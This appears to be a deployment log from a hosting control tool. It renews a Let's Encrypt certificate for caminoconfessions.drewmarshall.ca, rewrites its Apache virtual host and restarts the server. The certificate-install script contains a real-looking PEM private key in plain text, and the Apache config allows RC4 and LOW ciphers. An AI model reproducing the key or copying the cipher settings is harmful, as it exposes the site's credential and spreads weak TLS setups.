if [ -d "/var/www/drewmarshall_caminoconfessions/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-14 06:02:15: 

chmod 755 /tmp/pkp682760; /tmp/pkp682760; rm /tmp/pkp682760

2026-05-14 06:02:15: 


1


2026-05-14 06:02:15: Establishing a connection
2026-05-14 06:02:15: 

PUT: /tmp/pkp750771

#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cat > 9e_ZfQjksx16LTBOFgEq7eAeOKJsWS9VQdscXlDqilM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9e_ZfQjksx16LTBOFgEq7eAeOKJsWS9VQdscXlDqilM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9e_ZfQjksx16LTBOFgEq7eAeOKJsWS9VQdscXlDqilM


2026-05-14 06:02:15: 

chmod 755 /tmp/pkp750771; /tmp/pkp750771; rm /tmp/pkp750771

2026-05-14 06:02:15: 




2026-05-14 06:02:21: Establishing a connection
2026-05-14 06:02:21: 

PUT: /tmp/pkp224796

#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
rm 9e_ZfQjksx16LTBOFgEq7eAeOKJsWS9VQdscXlDqilM


2026-05-14 06:02:21: 

chmod 755 /tmp/pkp224796; /tmp/pkp224796; rm /tmp/pkp224796

2026-05-14 06:02:21: 




2026-05-14 06:02:21: Establishing a connection
2026-05-14 06:02:21: 

PUT: /tmp/pkp595242

#!/bin/bash
temp_file=$(mktemp)
TARGET=0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt

cat > $temp_file <<'endmsg'
09:d5:16:2c:9a:da:84:ff:29:0a:97:94:66:5f:d5:0e

-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBaoJ2KnRXMczdhwQ7Ulfwx6KMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTE0MDUwMzUwWhcNMjYwODEyMDUwMzQ5WjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDJdEs7l3s65rtgYXn19Yv2FOxVs+tEgqJ9J2ph
IW3EBI2NEer1mPUhf4U2u4dEmdi2b5IKr9cLcitCcoyIFphMSnp7QA/0ivACIVi2
O3uHnCVogAnNRsOb6Uf2Fifne7Q/eVVtKMafl59Q34aNFf5ZVJO3TP205XCqyQo/
UQCpnKcpnoEOHJW0eYTMvyV/mtvdASYAIO7PGa24uxyC7spbk6zRGX4XEOrbR8nl
nNQHcFFIYXI+lyah6zv7OFQXyjl9Tu04y2M6Houp3iKvuYwpEWVqG0HxPz7gXnLS
+Rcqa+n5eQzcwCgYay6E1Y4Za733afhNyyw8plimTxN/oPS3AgMBAAGjggIvMIIC
KzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUSTH5gIySvanq8dA1qBsoiOwP6H0wHwYDVR0jBBgwFoAU
ALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAsBgNVHREEJTAjgiFjYW1pbm9jb25m
ZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMS5jcmwwggEM
BgorBgEEAdZ5AgQCBIH9BIH6APgAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1
rXaa2Q5SzQAAAZ4lFDF5AAAEAwBHMEUCIQDIhwDciUzlg8pkHyZJ88yMH/mf7vJt
+69aq2d16fqE7AIgVOg4M+JJS2QehPb4xI5wGEQLte9C+tlx8dZRNezle+EAfgBG
r4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ4lFDJKAAgAAAUABpAj
ugQDAEcwRQIhALX2U9TQWF8MFNBQBa9RHSDt2Lc6zy/h/v+jaPEH3XLbAiBkaiYP
/uGpF3Jt6mVd31balcxktcpGjFD8qABfBUNewDANBgkqhkiG9w0BAQsFAAOCAQEA
fljlBLmEMLaXrvwp/iVA1ag6Ip0w5lF8nXo/U9qS1okLV4e0su7/agaKZJx5hQd0
jpB7a6WqfOJor3rAGrQHny2XpmaauS0cE6R9FmQ/FCk9l92cSfRfoikz1HCqcwFr
wgWoLnbxxt6YCaWa1Bxl1cjVcfyi0/6kjKoEJBZBL2VEXH8P6KcSQCFvm8AEaWfV
SewLzvaLk5Jmib3usne8JNVyjfB2rFPij1vUGuvLz67Yt9bbGqpbC1Kp538+c6zA
g2L7E6gIMNMAi5fFr+dJWZVPIvV7pgkqiA1YPhPe2VcggHHu3rHiWByBbW15G/7B
qwTaedcwKE4xbBH8U9CGMg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDJdEs7l3s65rtg
YXn19Yv2FOxVs+tEgqJ9J2phIW3EBI2NEer1mPUhf4U2u4dEmdi2b5IKr9cLcitC
coyIFphMSnp7QA/0ivACIVi2O3uHnCVogAnNRsOb6Uf2Fifne7Q/eVVtKMafl59Q
34aNFf5ZVJO3TP205XCqyQo/UQCpnKcpnoEOHJW0eYTMvyV/mtvdASYAIO7PGa24
uxyC7spbk6zRGX4XEOrbR8nlnNQHcFFIYXI+lyah6zv7OFQXyjl9Tu04y2M6Houp
3iKvuYwpEWVqG0HxPz7gXnLS+Rcqa+n5eQzcwCgYay6E1Y4Za733afhNyyw8plim
TxN/oPS3AgMBAAECggEAANWR2v0fAVJwfWiwVM8GG/T50y0IkPyqTmX5/QCV1mIs
Cxgc5sfexzTvYn4KUSo1770S8Y2WEJhFCsrNcpU6K9Ub7SPwLPoT6ysjyLVpJvM3
MHFlspggoHLdENOf3K4ldyUG41ajSlWAm/9ULLdmAA0anRkdH9ralmQSV8rISIUf
3R7fMp+8UoUDl3JPODNSYLNAHC6pBjfwYcvfH1YjazJIxqFuyw6zBhsP9OilIGWs
FwqVlYm5D7mQIB4L8k9nl6wNKZ4hQ0oCkl4wCOvdtsiIVVd89ngCOfHM2GaofEfP
l2H7rEBDvJfVwP0tQY7kGQ2Ja9mN5rvQVb/oPKRNUQKBgQD+LtNEIlsYRC46EBoS
mHwQaf+RO7Z7nWpDrxGYlBZUYoAWpEgQa3xsEb85etulu70siFvWkwhC0KiHwp7S
bL8UN3Xt75b6vITfpbjit1tKkEd5ICZhg8yoacOpg1njNFZWbe8ORdlkCm0F3C3W
LZ/OeuwQvWRkCO/P/UkOlxmNjwKBgQDK5PiXYhplPTrGPxinpSXLnf38rvACTmUV
xYIp8EwlevXOSOtATw24stBhqKF0Pt9k+Rz6EbTPNZmf9aeYWNZqPzQVSwEE3V3P
4XjR4jNmJgt2sF++Un9TiUGQVlDUwAoANtvRF57mtkvu6KxkaOwkXJO32Q4pdpNh
RD5wTJJiWQKBgQD2cgQYjY7xKjn/xdjhqsKvT3ahI9o8ZFXBph5TZ1F3I8G5MjNE
6FJMnbBgVMReHna+lL8mfoyF67VbW9GNiC6DtXo75g7msJ3MEev+tXRoCRejUw6j
gZyOtW0mD9q5Ned4CUK8/fBW1Nz7z40JmlbVZc04Ncj+TMPnT1bkNJBr9QKBgD5S
tTWzEc6VT0+EJCui5Ag2wMT0a48Zy50zbTc6s/kzWvwBlBnN7rYUX0QQS3/srCxV
BRyfgb3Ahi8Hg3Kdn0dFoNcFkguPf/iSFs3JwOYYu566sL5Ckw/y8mvGx8+CKdBF
CaKhsdLGnm6FlCbHv/mvYkSv7NS5sq3HC7LtIm4JAoGATHMRAg8UhzFj90G3R7ER
3cSLTYQYTc5jUuWiSA7qAdde1HaVNJOIpQ9EU92yj52FCT8VMHMilFsE0RilfMvH
gUwJW2D2vJNkgs2fCPewI8xO4OZ8aL6Iut6AQIH01mGpxi4ky6PqukX1MVXI+J28
uvHeV2wUX/ko25uxBrjeilw=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-14 06:02:21: 

chmod 755 /tmp/pkp595242; /tmp/pkp595242; rm /tmp/pkp595242

2026-05-14 06:02:21: 


dir=/etc/ssl/certs


2026-05-14 06:02:21: 

PUT: /tmp/pkp638315

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-14 06:02:22: 

chmod 755 /tmp/pkp638315; /tmp/pkp638315; rm /tmp/pkp638315

2026-05-14 06:02:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf 57

<VirtualHost *:80>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-14 06:02:22: 

PUT: /tmp/pkp178650

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_caminoconfessions_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf= 1'
fi


2026-05-14 06:02:22: 

chmod 755 /tmp/pkp178650; /tmp/pkp178650; rm /tmp/pkp178650

2026-05-14 06:02:22: 




2026-05-14 06:02:22: 

PUT: /tmp/pkp135272

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-14 06:02:22: 

chmod 755 /tmp/pkp135272; /tmp/pkp135272; rm /tmp/pkp135272

2026-05-14 06:02:22: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-14 06:02:22: Establishing a connection
2026-05-14 06:02:22: 

PUT: /tmp/pkp945456

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-14 06:02:22: 

chmod 755 /tmp/pkp945456; /tmp/pkp945456; rm /tmp/pkp945456

2026-05-14 06:02:22: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-14 06:02:22: 

PUT: /tmp/pkp417680

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-14 06:02:22: 

chmod 755 /tmp/pkp417680; /tmp/pkp417680; rm /tmp/pkp417680

2026-05-14 06:02:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf	1479

<VirtualHost *:80>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-14 06:02:22: 

PUT: /tmp/pkp925636

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-14 06:02:22: 

chmod 755 /tmp/pkp925636; /tmp/pkp925636; rm /tmp/pkp925636

2026-05-14 06:02:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt	5394
09:d5:16:2c:9a:da:84:ff:29:0a:97:94:66:5f:d5:0e

-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBaoJ2KnRXMczdhwQ7Ulfwx6KMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTE0MDUwMzUwWhcNMjYwODEyMDUwMzQ5WjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDJdEs7l3s65rtgYXn19Yv2FOxVs+tEgqJ9J2ph
IW3EBI2NEer1mPUhf4U2u4dEmdi2b5IKr9cLcitCcoyIFphMSnp7QA/0ivACIVi2
O3uHnCVogAnNRsOb6Uf2Fifne7Q/eVVtKMafl59Q34aNFf5ZVJO3TP205XCqyQo/
UQCpnKcpnoEOHJW0eYTMvyV/mtvdASYAIO7PGa24uxyC7spbk6zRGX4XEOrbR8nl
nNQHcFFIYXI+lyah6zv7OFQXyjl9Tu04y2M6Houp3iKvuYwpEWVqG0HxPz7gXnLS
+Rcqa+n5eQzcwCgYay6E1Y4Za733afhNyyw8plimTxN/oPS3AgMBAAGjggIvMIIC
KzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUSTH5gIySvanq8dA1qBsoiOwP6H0wHwYDVR0jBBgwFoAU
ALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAsBgNVHREEJTAjgiFjYW1pbm9jb25m
ZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
